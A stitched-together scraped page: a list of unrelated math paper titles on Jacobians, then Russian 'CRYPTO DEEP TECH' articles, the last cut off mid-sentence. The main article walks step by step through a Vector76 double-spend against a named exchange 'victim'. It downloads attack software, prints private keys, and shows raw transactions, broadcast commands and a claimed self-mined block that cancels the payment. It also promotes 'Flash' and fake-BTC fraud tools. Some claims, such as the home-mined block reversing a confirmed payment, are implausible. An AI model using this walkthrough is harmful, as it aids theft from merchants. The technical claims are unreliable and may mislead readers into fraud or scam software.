SURFACE DONU ARAPURA Arapura, Riemann’s inequality and Riemann-Roch A curve and its abstract Jacobian Boris Zilber University of Oxford August 22, 2012 Jacobians of Genus One Curves Sang Yook An and Seog Young Kim The University of Arizona JACOBIANS CURVILINEAR COORDINATES Created by T. Madas A GEOMETRIC APPROACH TO THE TWO-DIMENSIONAL JACOBIAN CONJECTURE ALEXANDER BORISOV Jacobian Varieties J.S. Milne June 12, 2021 LOCAL ARITHMETIC OF CURVES AND JACOBIANS School of Mathematics and Statistics, University of Glasgow, University Place, Glasgow Notes on Jacobian varieties: a brief survey Juliana Coelho (UFF) March 28, 2017 Fast Jacobian arithmetic for hyperelliptic curves of genus 3 Andrew V. Sutherland The Jacobian of a Transformation Proceedings of the Thirteenth Algorithmic Number Theory Symposium SEMINAR ON ALGEBRAIC GEOMETRY: “JACOBIANS OF CURVES” Organizers: Peter Scholze, Johannes Anschutz EQUATIONS FOR THE JACOBIAN OF A HYPERELLIPTIC CURVE PAUL VAN WAMELEN Comparatively Study of ECC and Jacobian Elliptic Curve Cryptography Anagha P. Zele , Avinash P. Wadhe THE RANK OF THE JACOBIAN OF MODULAR CURVES: ANALYTIC METHODS BY EMMANUEL KOWALSKI Space filling curves in their Jacobian Autor Thijs Limbeek Supervisors Prof. Dr. Ben Moonen Dr. Arne Smeets November 24, 2020 Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/qf6u85wGwNw Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c Источник: https://cryptodeep.ru/jacobian-curve-algorithm-vulnerability Криптоанализ
  8. CRYPTO DEEP TECH С развитием криптовалютных технологий и увеличением популярности Bitcoin, на рынке появились различные программные обеспечения, такие как Flash Bitcoin Software и Fake BTC Software. Эти программы могут привести к катастрофическим последствиям на экосистему Bitcoin. В данной статье мы рассмотрим на примере реальных данных, что представляют собой эти программные обеспечения, как они работают и какое влияние оказывают на криптовалюту Bitcoin, а также как эти различные программные обеспечения используют механизм Vector76 Attack, что представляет собой разновидность атаки двойной траты (double-spending attack), при которой злоумышленник пытается провести одну и ту же транзакцию дважды. В отличие от классической атаки двойной траты, Vector76 использует уязвимости в механизмах подтверждения транзакций и временные задержки в распространении блоков по сети Биткоин. В атаке Vector76 злоумышленник сначала создаёт две транзакции: одну для отправки средств на свой Биткоин адрес и другую для отправки тех же средств на Биткоин адрес продавца. Затем он пытается убедить продавца принять неподтверждённую транзакцию, одновременно распространяя другую транзакцию в сети. Если злоумышленнику удаётся провести свою транзакцию быстрее, чем продавец получит подтверждение, то средства будут отправлены на адрес злоумышленника, а не продавца. Программное обеспечение Программные обеспечение облегчают для злоумышленника интервальное использование временного окна между подтверждением транзакции в локальной сети и её распространением по всей сети Bitcoin. Злоумышленник создает две транзакции: одну, которая отправляется в локальную сеть, и другую которая отправляется в основную сеть. Если злоумышленник успевает провести первую транзакцию до того, как вторая будет подтверждена, он может обмануть получателя, заставив его поверить в подлинность первой транзакции. Рассмотрим самые известные программные обеспечение которые применяют для интервального использование временного окна для успешного подтверждением транзакции Биткоина. Flash Bitcoin Software Flash Bitcoin Software представляет собой программное обеспечение, которое позволяет пользователям временно увеличивать баланс своего Bitcoin-кошелька. Это достигается за счет создания транзакций, которые выглядят легитимными, но на самом деле не подтверждаются в блокчейне. Такие транзакции могут быть использованы для обмана пользователей и сервисов, принимающих Bitcoin. Fake BTC Software Fake BTC Software в свою очередь, предназначено для создания поддельных Bitcoin-транзакций. Эти транзакции могут быть использованы для мошенничества, так как они создают видимость перевода средств, хотя на самом деле никакие средства не передаются. Это программное обеспечение может быть использовано для обмана продавцов и покупателей в криптовалютных сделках. Dockeyhunt Vector76 Attack Dockeyhunt Vector76 Attack предназначено для создания двух или несколько Raw транзакции с цель подтверждение через Broadcast Bitcoin Transaction для сценарии двойной траты одним и тем же Биткоином. Суть атаки заключается в том, что злоумышленник отправляет одну и ту же транзакцию в две разные части сети, создавая временное расхождение в блокчейне Bitcoin. Это программное обеспечение также может быть использовано для обмана продавцов и покупателей в криптовалютных сделках и операциях, где принимают различные токены и различные известные криптовалюты Bitcoin, Etherium и.т.д CGMiner и BFGMiner CGMiner и BFGMiner эти программные обеспечение предназначены для майнинга могут быть использованы для реализации атак типа Selfish Mining, так как они позволяют майнерам контролировать процесс добычи блоков. Wireshark Wireshark – это программное обеспечение для анализа сети и может быть использован для анализа сетевого трафика и реализации Sybil Attack и Eclipse Attack . Мошенники могут использовать модифицированные версии клиента Bitcoin Core для проведения различных атак на консенсусный механизм. BlockSci BlockSci – это программное обеспечение позволяет анализировать блокчейн и может быть использован для проведения анализа транзакций и Dusting Attack (DUST ATTACK). Влияние атаки на сеть Bitcoin Vector76 Attack была впервые описана в 2011 году и представляет собой комбинацию атак Finney и Race. Атака использует уязвимости в процессе подтверждения транзакций в сети Bitcoin. Основная идея заключается в том, чтобы создать две конфликтующие транзакции и провести их через разные узлы сети, что позволяет злоумышленнику обмануть получателя и провести двойное расходование. В Race Attack злоумышленник пытается провести две транзакции одновременно, одну из которых он пытается отменить. В Finney Attack злоумышленник предварительно майнит блок с транзакцией, а затем пытается провести другую транзакцию с теми же монетами. В Vector76 Attack злоумышленник использует элементы обеих атак для создания двойного расходования (double spending). Атака Vector76 может иметь серьезные последствия для сети Bitcoin. Она подрывает доверие к системе, так как пользователи могут потерять средства из-за двойного расходования. Кроме того, атака может вызвать задержки в подтверждении транзакций и увеличить нагрузку на сеть. Этапы атаки: Создание двух транзакций: Злоумышленник создает две транзакции с одинаковой суммой, но разными получателями. Одна транзакция отправляется в сеть, а другая удерживается в изолированной части сети Bitcoin. Отправка первой транзакции: Первая транзакция отправляется в локальную сеть, где она быстро подтверждается. Отправка второй транзакции: Вторая транзакция отправляется в основную сеть Bitcoin. Подтверждение первой транзакции: Получатель первой транзакции считает её подлинной и предоставляет товар или услугу. Подтверждение второй транзакции: Вторая транзакция подтверждается в основной сети, и первая транзакция становится недействительной. Конфликт и двойное расходование: В результате возникает конфликт, и одна из транзакций может быть включена в блокчейн, что приводит к двойному расходованию. Слияние сетей: Когда изолированная часть сети сливается с основной, возникает конфликт, и одна из транзакций аннулируется. Механизмы обнаружения и предотвращения Vector76 Attack: Для защиты сети Bitcoin от атак типа Vector76 используются различные механизмы обнаружения и предотвращения атак, а также необходимо внедрить эффективные алгоритмы и системы для обнаружения подозрительных транзакций. Рассмотрим несколько подходов: Анализ блоков и транзакций: Майнинговое ПО и узлы сети анализируют блоки и транзакции на предмет конфликтов и аномалий. Увеличение количества подтверждений: Рекомендуется ждать большее количество подтверждений (например, 6 и более) перед тем, как считать транзакцию окончательно подтвержденной. Увеличение времени ожидания до подтверждения транзакции может снизить вероятность успешной атаки. Использование алгоритмов машинного обучения: Современные методы машинного обучения могут быть использованы для обнаружения подозрительных паттернов в транзакциях и блоках. Мониторинг Сети: Использование специализированных программ для мониторинга сети на предмет подозрительных транзакций и поведения. Многоуровневое подтверждение: Использование нескольких уровней подтверждения транзакций может повысить безопасность. Анализ аномалий: Внедрение систем анализа аномалий для выявления подозрительных транзакций и цепочек блоков. Обновление протоколов: Регулярное обновление протоколов безопасности и внедрение новых методов защиты может повысить устойчивость сети к атакам. Усиление консенсусного механизма: Внедрение дополнительных проверок и подтверждений для транзакций, что усложнит проведение атак. Распространение альтернативного блока для проведения Vector76 Attack: Создание двух конфликтующих транзакций: Злоумышленник создает две транзакции, использующие одни и те же входы, но с разными получателями. Распространение первой транзакции: Первая транзакция отправляется в сеть и включается в блок, который майнеры начинают подтверждать. Создание альтернативного блока: Злоумышленник использует собственное майнинговое ПО для создания альтернативного блока, содержащего вторую транзакцию. Распространение альтернативного блока: В момент, когда первая транзакция уже получила несколько подтверждений, злоумышленник распространяет альтернативный блок, который может быть принят сетью, если он содержит большее количество подтверждений. Структура Vector76 Attack: Подготовка: Злоумышленник создает две транзакции: одну для жертвы (Т1) и одну для себя (Т2). Майнинг блока: Злоумышленник майнит блок, включающий Т2, но не публикует его. Проведение Т1: Злоумышленник отправляет Т1 в сеть, и жертва принимает ее после одного подтверждения. Публикация блока: Злоумышленник публикует блок с Т2, который отменяет Т1. Практическая часть Рассмотрим пример применение данной атаки с использованием программного обеспечение Dockeyhunt Vector76 Attack Скачаем программное обеспечение из официального сайта: www.dockeyhunt.com Установим все необходимые пакеты и библиотеки запустим файл setup.exe Для проведение успешной атаки нам очень важно создать вторую транзакции (для себя T2) для этого заранее необходимо подготовить Биткоин Кошелек куда мы отправим все наши монеты BTC для дальнейшего хранение в холодном кошельке. Откроем папку и запустим Cold Bitcoin Wallet.exe для генерации нового Биткоин Адреса Нажимаем Generate Address Данные нашего нового Биткоин Адреса для дальнейшего хранение в холодном кошельке. Cold Bitcoin Wallet: Private Key HEX: 7b774f968a0eff26bb645fa91830a17a749e685ca4fab58b98bc03fd6a48405c Private Key WIF: 5JkfMchWKeVh5nUmbTHPhFTpMPmWjn5a9JtrR8iBQqPCCmonapz Private Key WIF compressed: L1MiHzZnRJVdv7jZq51MAeqN11VUFoyBHfys7X2kxCYxSxT9GWRx Public Key: 04addd5a1ced91a6364c486cbc95cde195108657d1eabb86bf97e5dfa3f099b2ba2b7c42c09f8d7d12c6f68a4d1750ac6abbf1379802b9501d9cc1c51b6dcbc87d Public Key compressed: 03addd5a1ced91a6364c486cbc95cde195108657d1eabb86bf97e5dfa3f099b2ba Public Address 1: 1KivXGdoDVPZCZLHpAe8rCztEirdrWuR4Y Public Address 1 compressed: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq Public Address 3: 36QRQhDUdaufqTJYfgV76CTor6Nix8Zvz3 Public Address bc1 P2WPKH: bc1qpy79lkrlls0jhva93llvq6tkchrkp5zfgq5ned Public Address bc1 P2WSH: bc1q3j88twpmde2rwz5tnecdezxsxtxje0cswfjkcfcckq3mx4d3hm2stuw0ss Теперь устанавливаем связь с получателем в нашем случаем псевдополучателем является пользователь криптобиржи Huobi Биткоин Адрес псевдополучателя: https://bitinfocharts.com/bitcoin/address/143gLvWYUojXaWZRrxquRKpVNTkhmr415B Создание Raw транзакции T1 (жертва) Псевдополучатель (жертва) является пользователям криптобиржи Huobi и ожидает от отправителя (злоумышленник) сумму в размере: 1.17506256 BTC (в криптовалюте Bitcoin) Биткоин Кошелек отправителя на сумму: 1.17521256 BTC https://btc1.trezor.io/address/1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz Откроем новый блокнот в Google Colab: https://colab.research.google.com Клонируем репозиторий Broadcast-Bitcoin-Transaction !git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git cd Broadcast-Bitcoin-Transaction/ ls Запустим Python скрипт bitcoin_info.py (для проверки Биткоин Адреса отправителя) !python3 bitcoin_info.py 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz Для создание Raw транзакции T1 нам понадобится скопировать от Биткоин Адреса: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz UTXO (Unspent Transaction Output) последний TXID как выход неизрасходованных транзакций для кошелька отправителя. https://btc1.trezor.io/tx/3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 Вернемся в корневой каталог и запустим программное обеспечение Dockeyhunt Vector76 Attack Опция: При создание транзакции нам необходимо подписать цифровую подпись алгоритмом ECDSA вставим в поле приватный ключ отправителя Биткоин Кошелька: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz (для проверки мы можем воспользоваться bitaddress) Private Key: KwoqiXXrWkurxSazHJtmxKstB7g4HX247q7JoKcFDtHpFujKNSiD Скопируем TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 и вставим в поле это необходимо для того чтобы была полная проверка транзакций для всех узлов сети Биткоин, так как все входы транзакции являются действительными (это очень важно и необходимо для проведение успешной атаки Vector76 с целью чтобы монеты BTC отправителя не были потрачены заранее). UTXO позволяет более эффективно обрабатывать транзакции, так как каждый выход транзакции может быть использован только один раз (это упрощает управление состоянием Биткоин сети и уменьшает сложность проверки Raw транзакций). Prev TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 Скопируем Биткоин Адрес псевдополучателя криптобиржи Huobi: 143gLvWYUojXaWZRrxquRKpVNTkhmr415B и вставим в поле. Send Address: 143gLvWYUojXaWZRrxquRKpVNTkhmr415B Скопируем общую сумму Биткоин монет и вставим в поле (для данного отправителя это сумма составляет: 1.17521256 BTC сумму необходимо указать в Satoshi в размере: 117521256) Total Received: 1.17521256 BTC (117521256 sat/vByte) Укажем собственную сумму в размере: 15000 sat/vByte это сумма является комиссий, для процесса обработки транзакций майнером. В Биткоине, когда мы отправляем транзакцию, мы платим комиссию майнерам за включение наше созданное Raw транзакции в блокчейн (эта комиссии стимулируют майнеров обрабатывать и подтверждать транзакции). Fee: 0.00015000 BTC (15000 sat/vByte) Укажем сумму для отправки монет BTC в нашем случае при выщите с общей суммы 117521256 sat/vByte и размера комиссии: 15000 sat/vByte сумма для отправки будет составлять в Satoshi: 117506256 Sent: 1.17506256 BTC (117506256 sat/vByte) После того как мы добавили все опции нажимаем Create Transaction Результат: Your Bitcoin Address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz Bitcoin Address for sending BTC: 143gLvWYUojXaWZRrxquRKpVNTkhmr415B Bitcoin Transaction RawTX: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006b483045022100dff55be52be07900dd4d2d04473c93249ca78e37955e466437c26f06322f01bc02205ed04a2a4201e8c2b3035de7edfa972e1f7da57dbcca3eaa4fbd4db4cd8ad507012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddffffffff01d0000107000000001976a914216a0d339ab6ddc696b1b239b9b65810c0bf73d588ac00000000 Теперь воспользуемся Python скриптом: pushtx.py для отправки Bitcoin Transaction RawTX !python3 pushtx.py 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006b483045022100dff55be52be07900dd4d2d04473c93249ca78e37955e466437c26f06322f01bc02205ed04a2a4201e8c2b3035de7edfa972e1f7da57dbcca3eaa4fbd4db4cd8ad507012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddffffffff01d0000107000000001976a914216a0d339ab6ddc696b1b239b9b65810c0bf73d588ac00000000 Результат: Enter your raw transaction: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006b483045022100dff55be52be07900dd4d2d04473c93249ca78e37955e466437c26f06322f01bc02205ed04a2a4201e8c2b3035de7edfa972e1f7da57dbcca3eaa4fbd4db4cd8ad507012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddffffffff01d0000107000000001976a914216a0d339ab6ddc696b1b239b9b65810c0bf73d588ac00000000 TX: e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0 Transaction successfully broadcasted! Broadcasting Transactions into the Bitcoin Network: https://broad-casts.ru/bitcoin-network Псевдополучатель пользователь криптобиржи Huobi видит платеж в сети Биткоин TX: e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0 Теперь злоумышленник приступает ко второму этапу, создание транзакции T2 (для себя) чтобы забрать все монеты на отправленную сумму 1.17506256 BTC (117506256 sat/vByte) из сети Биткоин на баланс своего холодного кошелька. Создание Raw транзакции T2 (для себя) Ранее мы создали холодный Биткоин Кошелек, это мы делали заранее именно для создание второй транзакции (для себя T2) чтобы подготовить Биткоин Кошелек: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq куда мы отправим из сети Биткоин все монеты на сумму: 1.17506256 BTC (117506256 sat/vByte) для дальнейшего хранение в холодный кошелек). Скопируем Биткоин Адрес нового холодного кошелька: Cold Bitcoin Wallet: Public Address 1 compressed: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq Запускаем повторно программное обеспечение Dockeyhunt Vector76 Attack. Добавим новую опцию с новыми данными Опция: Все тоже самое для создание транзакции нам необходимо подписать цифровую подпись алгоритмом ECDSA вставим в поле приватный ключ отправителя Биткоин Кошелька: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz (для проверки мы можем воспользоваться bitaddress) Private Key: KwoqiXXrWkurxSazHJtmxKstB7g4HX247q7JoKcFDtHpFujKNSiD Скопируем TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 и вставим в поле это необходимо для того чтобы была полная проверка транзакций для всех узлов сети Биткоин, так как все входы транзакции являются действительными (это очень важно и необходимо для проведение успешной атаки Vector76 с целью чтобы монеты BTC отправителя не были потрачены заранее). UTXO позволяет более эффективно обрабатывать транзакции, так как каждый выход транзакции может быть использован только один раз (это упрощает управление состоянием Биткоин сети и уменьшает сложность проверки Raw транзакций). Prev TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 Скопируем новый Биткоин Адрес нового холодного кошелька куда мы перенесем все монеты BTC: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq и вставим в поле. Send Address: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq Скопируем общую сумму Биткоин монет и вставим в поле (для данного отправителя это сумма составляет: 1.17521256 BTC сумму необходимо указать в Satoshi в размере: 117521256) Total Received: 1.17521256 BTC (117521256 sat/vByte) Укажем собственную сумму в размере: 15000 sat/vByte это сумма является комиссий, для процесса обработки транзакций майнером. В Биткоине, когда мы отправляем транзакцию, мы платим комиссию майнерам за включение наше созданное Raw транзакции в блокчейн (эта комиссии стимулируют майнеров обрабатывать и подтверждать транзакции). Fee: 0.00015000 BTC (15000 sat/vByte) Укажем сумму для отправки монет BTC в нашем случае при выщите с общей суммы 117521256 sat/vByte и размера комиссии: 15000 sat/vByte сумма для отправки будет составлять в Satoshi: 117506256 Sent: 1.17506256 BTC (117506256 sat/vByte) После того как мы добавили все опции нажимаем Create Transaction Результат: Your Bitcoin Address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz Bitcoin Address for sending BTC: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq Bitcoin Transaction RawTX: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006a473044022027033ea1c9df979fe39b016ee9ef446fab3e87dd4514623ad8a655e8eab31f0002201b58688b9949a8b9b05cb74b3bd829f6c134c5bef132e9df0eafeea9585abc45012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddfdffffff01d0000107000000001976a914093c5fd87ffc1f2bb3a58ffec06976c5c760d04988ac00000000 Теперь воспользуемся Python скриптом: pushtx.py для отправки Bitcoin Transaction RawTX !python3 pushtx.py Результат: Enter your raw transaction: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006a473044022027033ea1c9df979fe39b016ee9ef446fab3e87dd4514623ad8a655e8eab31f0002201b58688b9949a8b9b05cb74b3bd829f6c134c5bef132e9df0eafeea9585abc45012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddfdffffff01d0000107000000001976a914093c5fd87ffc1f2bb3a58ffec06976c5c760d04988ac00000000 TX: d7b2f7279687abd3abf0367ac31223359dc8b53b32b7adbdfc2d0ada2a8015bc Transaction successfully broadcasted! Broadcasting Transactions into the Bitcoin Network: https://broad-casts.ru/bitcoin-network Теперь мы получили TX: d7b2f7279687abd3abf0367ac31223359dc8b53b32b7adbdfc2d0ada2a8015bc осталось лишь добыть блок с помощью майнинга и опубликовать блок в основную цепочку блоков которая включает транзакцию T2 (для себя). Майнинг и публикация блока в основную цепочку сети Биткоин Вернемся в корневой каталог, откроем папку и запустим программное обеспечение Block Bitcoin Mining Чтобы добавить в пустое поле опцию нам необходимо получить данные ввода определенных значении для настройки майнинг блока для этого запустим Python скрипт: block_header.py и водим известное нам UTXO значение которое мы ранее добавляли в хэш опции Prev TXID при создание Raw транзакции Prev TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 UTXO позволяет более эффективно обрабатывать транзакции, так как каждый выход транзакции может быть использован только один раз (это упрощает управление состоянием Биткоин сети и уменьшает сложность проверки Raw транзакций). !python3 block_header.py 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 Скопируем полученные данные: Enter TXID: 3141bd1a32ac5e5b1a0de837faceccbc78f80f277c060855eab23be0fbe6e861 Block Header: Block: 00000000000000000003e5557c14e955f2c88465bb8c02a4d694a3657a40d79e Block Height: 808875 Mined Time: 2023-09-22T17:29:25Z Prev Block: 000000000000000000048e0643366b7c0129d2dd8d2cf758ca6273ed81c765d8 Merkle Root: c1fc30413e984cdd90dc1ac91a69add6c138af950e1c6388cb20759494073d2c Nonce: 1098256692 Bits: 386198911 Version: 536903680 Добавим RawTX для транзакции T2 (для себя) Bitcoin Transaction RawTX: 010000000161e8e6fbe03bb2ea5508067c270ff878bccccefa37e80d1a5b5eac321abd4131000000006a473044022027033ea1c9df979fe39b016ee9ef446fab3e87dd4514623ad8a655e8eab31f0002201b58688b9949a8b9b05cb74b3bd829f6c134c5bef132e9df0eafeea9585abc45012102650afad13f8fb85925ba6765dc5416bad623cdfce3f104191964253a12ed0cddfdffffff01d0000107000000001976a914093c5fd87ffc1f2bb3a58ffec06976c5c760d04988ac00000000 Как только блок для транзакции T2 (для себя) будет добыт с помощью программного обеспечение Block Bitcoin Mining мы получим файл в формате JSON Наш добытый блок для подтверждение в общей цепочке блокчейна находится в файле: block_hash_mining.json Откроем файл: block_hash_mining.json с помощью Notepad++ В строке №875 мы видим новый блок. block_hash: 00000000000000000004401ea0694af9c89564d76bc5462577e312eea5d23fa2 Вернемся обратно в Google Colab и запустим Python скрипт вводим TXID транзакции T2 (для себя) ВСЕ ВЕРНО!!! Блок подтверждает подлинность транзакции T2 (для себя). Также проверим по ссылке в блокчейне: https://btc1.trezor.io/tx/d7b2f7279687abd3abf0367ac31223359dc8b53b32b7adbdfc2d0ada2a8015bc Платеж подтвержден майнерами Транзакция T1 (жертва) отменяется Платеж псевдополучатель пользователя криптобиржи Huobi автоматический отменяется в сети Биткоин TX: e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0 https://btc1.trezor.io/tx/e129cd4257b2c9f5061dfb80d8b7a59e62cbaf3cdfba8d3fde2953759e63bcf0 Транзакция не найдена по причине отсутствие в общей цепочке блока Заключение: Все эти программные обеспечение и инструменты облегчают создание мошеннических схем, что может привести к увеличению числа жертв и потерь монет BTC и ETH среди пользователей. Это, в свою очередь, может вызвать негативное отношение к криптовалютам и криптосообществу в целом. Ущерб для бизнеса: Многие компании и сервисы, принимающие Bitcoin, могут понести значительные убытки из-за использования поддельных транзакций. Это может привести к отказу от принятия Bitcoin в качестве средства оплаты, что также негативно скажется на его распространении. Усложнение регулирования: Использование таких программных обеспечений усложняет работу регуляторов и правоохранительных органов, которые пытаются бороться с мошенничеством и отмыванием денег. Это может привести к ужесточению регулирования и ограничений на использование криптовалют. Необходимость улучшения безопасности: Постоянные угрозы требуют от разработчиков и пользователей внедрения новых мер безопасности и улучшения существующих механизмов защиты. Сообщество разработчиков Bitcoin может принять меры для борьбы с мошенническими транзакциями. Это может включать улучшение алгоритмов подтверждения транзакций и введение новых протоколов безопасности. Однако такие меры могут потребовать значительных ресурсов и времени. References: [1] Bitcoin’s Security Model Revisited (Yonatan Sompolinsky and Aviv Zohar School of Engineering and Computer Science, The Hebrew University of Jerusalem, Israel Microsoft Research, Herzliya, Israel) [2] Security Threats Classification in Blockchains (Jamal Hayat Mosakheil St. Cloud State University) [3] The Balance Attack or Why Forkable Blockchains Are Ill-Suited for Consortium (Christopher Natoli Vincent Gramoli School of IT University of Sydney Sydney, Australia) [4] Blockchain Vulnerabilities and Recent Security Challenges: A Review Paper (Aysha AlFaw, Wael Elmedany, Mhd Saeed Sharif, College of Information Technology University of Bahrain Sakhir, Bahrain) [5] How Much Vulnerable is a Cryptocurrency? Mario Arturo Ruiz Estrada Econographication Virtual Laboratory (EVL) [6] A SURVEY ON SECURITY ATTACKS AND CHALLENGES IN BITCOIN (Viji Priya .G, Krishna Priya .G, Vivek .M and Ashwini .R Department of Computer Science & Engineering, Jansons Institute of Technology, Coimbatore, Tamilnadu, India) [7] The BOOK of JARGON ® Cryptocurrency & Blockchain Technology The Latham & Watkins Glossary Acronyms, Slang, and Terminology [8] The Blockchain Anomaly (Christopher Natoli Vincent Gramoli NICTA/Data61-CSIRO University of Sydney) [9] Exploring Sybil and Double-Spending Risks in Blockchain Systems (MUBASHAR IQBAL AND RAIMUNDAS MATULEVIČIUS Institute of Computer Science, University of Tartu, 51009 Tartu, Estonia) [10] Blok Zinciri Teknolojisine Yapılan Saldırılar Üzerine bir İnceleme (Literatür Makalesi/Review Article Oğuzhan TAŞ, Farzad KİANİ Bilgisayar Mühendisliği, İstanbul Sabahattin Zaim Üniversitesi, Mühendislik ve Doğa Bilimleri Fakültesi, İstanbul, Türkiye) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/Mk_BPBCXd3I DZEN: https://dzen.ru/video/watch/669558eb4bbd297f7d375e06 Источник: https://cryptodeep.ru/vector76-attack Криптоанализ
  9. CRYPTO DEEP TECH В криптографических приложениях и криптовалютных кошельках есть критически важные компоненты, такие как генерация ключей, шифрование/дешифрование, подпись транзакций и.т.д. Эти компоненты должны быть основными целями для Фаззинг-тестирования. Использование Фаззинг-тестирования в криптографических приложениях и криптовалютных кошельках помогает выявлять и устранять уязвимости, повышая безопасность и надежность программного обеспечения. Фаззинг-тестирование (или просто Фаззинг) — это метод тестирования программного обеспечения, который используется для выявления уязвимостей и ошибок путем подачи на вход программы случайных или специально сгенерированных данных. В контексте криптоанализа Фаззинг-тестирование применяется для проверки криптографических алгоритмов и систем на наличие слабых мест, которые могут быть использованы злоумышленниками. Основная идея Фаззинга заключается в том, чтобы автоматически генерировать большое количество случайных или некорректных входных данных и подавать их на вход тестируемой системе. Затем анализируются результаты работы системы с этими данными, чтобы выявить неожиданные поведения, сбои или уязвимости. Фаззинг-тестирование в криптоанализе может помочь обнаружить такие проблемы, как: Буферные переполнения: Ошибки, возникающие при записи данных за пределы выделенной памяти. Ошибки обработки исключений: Неправильная обработка неожиданных или некорректных данных. Уязвимости в алгоритмах: Недостатки в реализации криптографических алгоритмов, которые могут быть использованы для взлома. Этот метод является мощным инструментом для обеспечения безопасности криптографических систем и помогает разработчикам создавать более надежное и защищенное программное обеспечение. Применение Фаззинг-тестирования к криптовалютным кошелькам имеет несколько преимуществ: Обнаружение уязвимостей: Фаззинг помогает выявить уязвимости, которые могут быть использованы злоумышленниками для кражи средств или компрометации безопасности кошелька. Повышение надежности: Тестирование с использованием случайных данных помогает выявить ошибки, которые могут привести к сбоям или некорректной работе кошелька, что в свою очередь повышает его надежность. Автоматизация процесса тестирования: Фаззинг-тестирование можно автоматизировать, что позволяет проводить тесты более часто и эффективно, чем ручное тестирование. Разнообразие тестовых сценариев: Фаззинг генерирует большое количество разнообразных тестовых сценариев, что помогает выявить ошибки, которые могли бы остаться незамеченными при использовании традиционных методов тестирования. Улучшение безопасности: Регулярное Фаззинг-тестирование помогает разработчикам своевременно обнаруживать и устранять уязвимости, что повышает общий уровень безопасности криптовалютного кошелька. Экономия времени и ресурсов: Автоматизированное Фаззинг-тестирование может сэкономить время и ресурсы, которые в противном случае были бы потрачены на ручное тестирование и отладку. Фаззинг может помочь обнаружить следующие типы уязвимостей: Ошибки обработки ввода: Кошельки могут некорректно обрабатывать входные данные, такие как адреса, суммы транзакций или ключи. Фаззинг может выявить случаи, когда некорректные данные приводят к сбоям или неправильной работе кошелька. Переполнение буфера: Если Биткоин кошелек не проверяет длину входных данных, это может привести к переполнению буфера, что в свою очередь может быть использовано злоумышленниками для выполнения произвольного кода. Уязвимости в парсерах: Кошельки часто используют парсеры для обработки данных транзакций и других входных данных. Фаззинг может выявить ошибки в этих парсерах, которые могут привести к сбоям или уязвимостям безопасности. Ошибки в криптографических операциях: Некорректная обработка данных в криптографических операциях может привести к утечке приватных ключей или другим критическим уязвимостям. Фаззинг может помочь выявить такие ошибки. Уязвимости в API: Если Биткоин кошелек предоставляет API для взаимодействия с другими приложениями, Фаззинг может выявить уязвимости в этих интерфейсах, которые могут быть использованы для несанкционированного доступа или выполнения нежелательных операций. Ошибки в обработке транзакций: Фаззинг может выявить ошибки в логике обработки транзакций, которые могут привести к неправильному выполнению транзакций или даже к потере средств. BitcoinChatGPT и выбор инструмента для Фаззинга: Существует множество инструментов для Фаззинг-тестирования, таких как AFL (American Fuzzy Lop), libFuzzer, Honggfuzz и другие. Фаззинг-тестирование должно быть частью непрерывного процесса разработки и тестирования. Регулярное проведение Фаззинг-тестов поможет своевременно выявлять новые уязвимости и поддерживать высокий уровень безопасности криптовалютного кошелька. В начале 2024 года широкую популярность получили современные технологии которые развивают предварительно обученную модель Bitcoin ChatGPT и находят эффективные способы решение сложных криптографических задач, лежащих в основе метода Фаззинг-тестирования. Рассмотрим пример построение структуры уязвимой Raw транзакции в котором используется модуль 